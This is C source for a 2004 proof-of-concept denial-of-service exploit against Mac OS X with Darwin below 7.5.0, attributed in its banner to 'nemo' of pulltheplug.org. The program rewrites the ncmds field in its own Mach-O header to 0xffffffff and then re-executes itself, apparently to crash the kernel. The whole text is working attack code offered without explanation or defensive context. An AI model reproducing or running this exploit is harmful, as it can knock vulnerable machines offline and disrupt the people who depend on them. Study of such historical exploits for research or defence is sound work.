int main( int ac, char * * av )
{
FILE * me;
int rpl = 0xffffffff;
fpos_t pos = 0x10;
printf( "-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-\n" );
printf( "-( nemo pulltheplug org )-\n\n" );
printf( "[+] Opening file for writing.\n" );
if ( !( me = fopen( * av, "r+" ) ) )
{
printf( "[-] Error opening exe.\n" );
exit( 1 );
}
printf( "[+] Seeking to ncmds.\n" );
if ( ( fsetpos( me, & pos ) ) == -1 )
{
printf( "[-] Error seeking to ncmds.\n" );
exit( 1 );
}
printf( "[+] Changing ncmds to 0x%x.\n", rpl );
if ( fwrite( & rpl, 4, 1, me ) < 1 )
{
printf( "[-] Error writing to file.\n" );
exit( 1 );
}
fclose( me );
printf( "[+] Re-executing with modified mach-o header.\n" );
sleep( 5 );
if ( execv( * av, av ) == -1 )
{
printf( "[-] Error executing %s, please run manually.\n", * av );
exit( 1 );
}
exit( 0 ); // hrm
}